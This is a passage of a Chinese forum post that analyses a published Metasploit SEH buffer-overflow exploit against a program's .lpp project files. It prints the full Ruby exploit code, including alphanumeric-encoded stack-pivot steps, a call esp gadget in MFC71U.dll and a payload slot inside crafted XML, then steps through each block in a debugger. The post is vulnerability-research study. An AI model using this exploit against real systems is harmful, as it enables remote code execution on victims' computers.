27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
我的win7 x86环境下的参数
'Ret' => "\x2c\x44",
'Offset' => 790,
'Padding1' => 857,
'Padding2' => 104
 
def exploit
  nop = "\x42"
  junk = 'ABC'.split('').sample              #junk must specifically static (A, B, and C only)
  buffer = ""
  buffer << junk * target['Offset']
  buffer << "\x61\x42"       # nseh
  buffer << target['Ret']    # seh
 
  #we need to encode the RET address, since RET (\xc3) is known as bad char.
  #preparing address to land the decoded RET
  buffer << nop              #nop/inc edx
  buffer << "\x54"           #push esp
  buffer << nop              #nop/inc edx
  buffer << "\x58"           #pop eax
  buffer << nop              #nop/inc edx
  buffer << "\x05\x1B\x01"   #add eax 01001B00
  buffer << nop              #nop/inc edx
  buffer << "\x2d\x01\x01"   #sub eax 01001000
  buffer << nop              #nop/inc edx
  buffer << "\x50"           #push eax
  buffer << nop              #nop/inc edx
  buffer << "\x5c"           #pop esp
 
  #preparing RET opcode (c300c300)
  buffer << nop              #nop/inc edx
  buffer << "\x25\x7e\x7e"   #and eax,7e007e00
  buffer << nop              #nop/inc edx
  buffer << "\x25\x01\x01"   #and eax,01000100
  buffer << nop              #nop/inc edx
  buffer << "\x35\x7f\x7f"   #xor eax,7f007f00
  buffer << nop              #nop/inc edx
  buffer << "\x05\x44\x44"   #add eax,44004400
  buffer << nop              #nop/inc edx
  buffer << "\x57"           #push edi as padding, needed to align stack
  buffer << nop              #nop/inc edx
  buffer << "\x50"           #push eax
  buffer << junk * target['Padding1'] #OS specific
 
  #custom venetian to reach shellcode
  buffer << "\x58"           #pop eax
  buffer << nop              #nop/inc edx
  buffer << "\x58"           #pop eax
  buffer << nop              #nop/inc edx
  buffer << "\x05\x09\x01"   #depending OS
  buffer << nop              #nop/inc edx
  buffer << "\x2d\x01\x01"   #add eax, 01000100, this will align eax to our buffer
  buffer << nop              #nop/inc edx
  buffer << "\x50"           #push eax
  buffer << nop              #nop/inc edx
 
  #crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
  buffer << "\x5C"           #pop esp
  buffer << nop              #nop/inc edx
  buffer << "\x58"           #pop eax
  buffer << nop              #nop/inc edx
  buffer << "\x05\x53\x7c"   #add eax 7c005300 part of call esp
  buffer << nop              #nop/inc edx
  buffer << "\x50"           #push eax
  buffer << junk * target['Padding2'] #OS specific
  buffer << "\x7b\x32"       #part of call esp
 
  #preparing for jump to shellcode, placing in eax.
  buffer << junk * 114       #junk
  buffer << "\x57"           #push edi
  buffer << nop              #nop/inc edx
  buffer << "\x58"           #pop eax
  buffer << nop              #nop/inc edx
  buffer << "\x05\x0A\x01"   #depending OS
  buffer << nop              #nop/inc edx
  buffer << "\x2d\x01\x01"   #sub eax,01000100
  buffer << nop              #nop/inc edx
  buffer << get_payload(payload.encoded)
  buffer << junk * (payload.space-buffer.length)      #fill the rest of buffer, must be added.
 
  lpp_data = <<-EOS
  <PROJECT version="1.0.00">
    <INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">
      <TRACK name="#{buffer}" />
    </INFORMATION>
  </PROJECT>

可以看到exploit将0x42作为nop,以ABC中随机一个字符作为填充。将以上代码优化后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
第一区块
nop = "\x42"
junk = 'ABC'.split('').sample              #junk must specifically static (A, B, and C only)
buffer = ""
buffer << junk * target['Offset']
buffer << "\x61\x42"       # nseh
buffer << target['Ret']    # seh        
 
第二区块                              
#we need to encode the RET address, since RET (\xc3) is known as bad char.
#preparing address to land the decoded RET
buffer << "\x54"           #push esp       
buffer << "\x58"           #pop eax           
buffer << "\x05\x1B\x01"   #add eax 01001B00
buffer << "\x2d\x01\x01"   #sub eax 01001000 eax=0012F655
buffer << "\x50"           #push eax       
buffer << "\x5c"           #pop esp   
第三区块       
#preparing RET opcode (c300c300)
buffer << "\x25\x7e\x7e"   #and eax,7e007e00
buffer << "\x25\x01\x01"   #and eax,01000100 
buffer << "\x35\x7f\x7f"   #xor eax,7f007f00 
buffer << "\x05\x44\x44"   #add eax,44004400 
buffer << "\x57"           #push edi as padding, needed to align stack   
buffer << "\x50"           #push eax                                   
buffer << junk * target['Padding1'] #OS specific
第四区块
 
#custom venetian to reach shellcode
buffer << "\x58"           #pop eax
buffer << "\x58"           #pop eax                                      
buffer << "\x05\x09\x01"   #depending OS add eax, 0x1000900               #
buffer << "\x2d\x01\x01"   #sub eax, 01000100, this will align eax to our buffer  
buffer << "\x50"           #push eax                                     
 
第五区块
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
buffer << "\x5C"           #pop esp                                          
buffer << "\x58"           #pop eax                                              
buffer << "\x05\x53\x7c"   #add eax 7c005300 part of call esp            
buffer << "\x50"           #push eax                                     
buffer << junk * target['Padding2'] #OSspecific   
 
buffer << "\x7b\x32"       #part of call esp 
 
第六区块
#preparing for jump to shellcode, placing in eax.
buffer << junk * 114       #junk
buffer << "\x57"           #push edi                                     
buffer << "\x58"           #pop eax                                         
buffer << "\x05\x0A\x01"   #depending OS add eax, 0x1000A00               
buffer << "\x2d\x01\x01"   #sub eax,01000100                             
buffer << nop              #nop/inc edx
buffer << get_payload(payload.encoded)
buffer << junk * (payload.space-buffer.length)      #fill the rest of buffer, must be added.

接来下我们单步调试确定各个区块的作用

3.2第一区块

先是用junk填充790字节,再用0x61,0x42覆盖掉SEH指针 可以看到地址为0x12EED4,用target['Ret'] 覆盖seh Handler :
图片描述
当覆盖到0x00130000这个地址的时候触发异常进入0044002c执行:
图片描述
此时堆栈情况如下,可以看到执行两次pop后ret到0x12EED4
图片描述
正好跳转到我们的覆盖的SEH结构上,0x61为popad,执行后提高了我们的esp 同时注意此时的edi为0012EED4。
图片描述
图片描述
图片描述

3.3第二区块

图片描述

1
此区块可以等价于  mov eax,esp  add eax,B00  mov esp,eax

执行完此区块后的寄存器情况:
图片描述
此区块单纯的将esp提升到0x0012f655, 提升的目的是什么,为什么是这个地址?而且msf对此区块的注释是我们需要对RET地址进行编码,因为RET(\xc3)被称为坏字符。现在我们只能记住此地址,接着向下分析。

3.4第三区块

图片描述
此时堆栈情况如下:
图片描述
将0012EED4写入0012F651地址msf的解释是为了对齐堆栈。我们暂且不管这个操作,接着将C300C300写入0012F64D这个地址,貌似上面一切改变esp的操作都是为了让我们将 C300C300写入00126F4D这个地址。根据上面解释0xc3代表ret指令。我们在汇编窗口查看0012F64D+1这个地址,可以看到此汇编指令变成了ret。为什么不直接输入c3指令,反而废了这么大功夫就为了生成0xC3。在msf.lpp文件中任意位置改成0xC3后用程序打开后显示加载项目设置时出错,请确认您选择的项目类型正确。
图片描述
图片描述

3.5第四个区块

图片描述
可以看到此区块的作用是将0012F651地址中的0012EED4取出给eax,再将eax提升到0012F6D4后压入栈:
图片描述
为什么要这么操作,还得接着向下分析。

3.6第五个区块

图片描述
pop esp,所以上一个区块是为了将eax给esp,此时esp为0012F6D4,此时堆栈情况如下:
图片描述
之后执行pop eax是为了将0012F6D4里的0x0032007B取出给eax。0x0032007B这个值是不是很熟悉,我们看第五个区块的末尾:
图片描述
这里预先存放了0x0032007B。接着一顿操作将eax变为7C32537B后压入栈:
图片描述
接下里一路执行直到0012F64E地址处的ret指令。执行ret指令跟进7C32537B地址发现这是一个call esp,而此时的esp是0012F6D8。
现在我们明白原来预先在0012F6D4这个地址里放入0x0032007B不是随便找的地址。我们既拿到了0x0032007B又把堆栈提高到了0012F6D4,之后的操作也是只是对堆栈进行小修改。最后通过7C32537B处的call esp使程序跳转到0012F6D8处执行。之后一路滑行到达第六个区块
图片描述
图片描述
图片描述

3.7第六个区块

图片描述
这里前两句可以理解成将edi赋值给eax,edi的值在哪来的,还记得最开始的时候的popad吗,那时候将edi变为0012EED4。接着向下走对eax一顿操作,经过一个nop后终于到达了我们的payload。此时eax和eip都指向我们的payload。查看此时payload发现已经进行了编码,看不出来什么东西。跟踪payload时会发现payload头部会有一个解码的程序,这块我就不过多赘述了。最后弹出计算器。
图片描述
图片描述

4.结语

此漏洞我在网上貌似没有找到有人分析过,所以可能有的地方分析的不对,遗漏错误之处请大佬们斧正。学习的同时顺便也想把研究成功分享一下,在下文笔可能也略显粗糙,请多多海涵。

5.参考资料

https://www.exploit-db.com/exploits/45985
https://baike.baidu.com/item/Variant/4668832?fr=aladdin


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-11-28 20:36 被DriverUnload编辑 ,原因:
收藏
点赞7
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回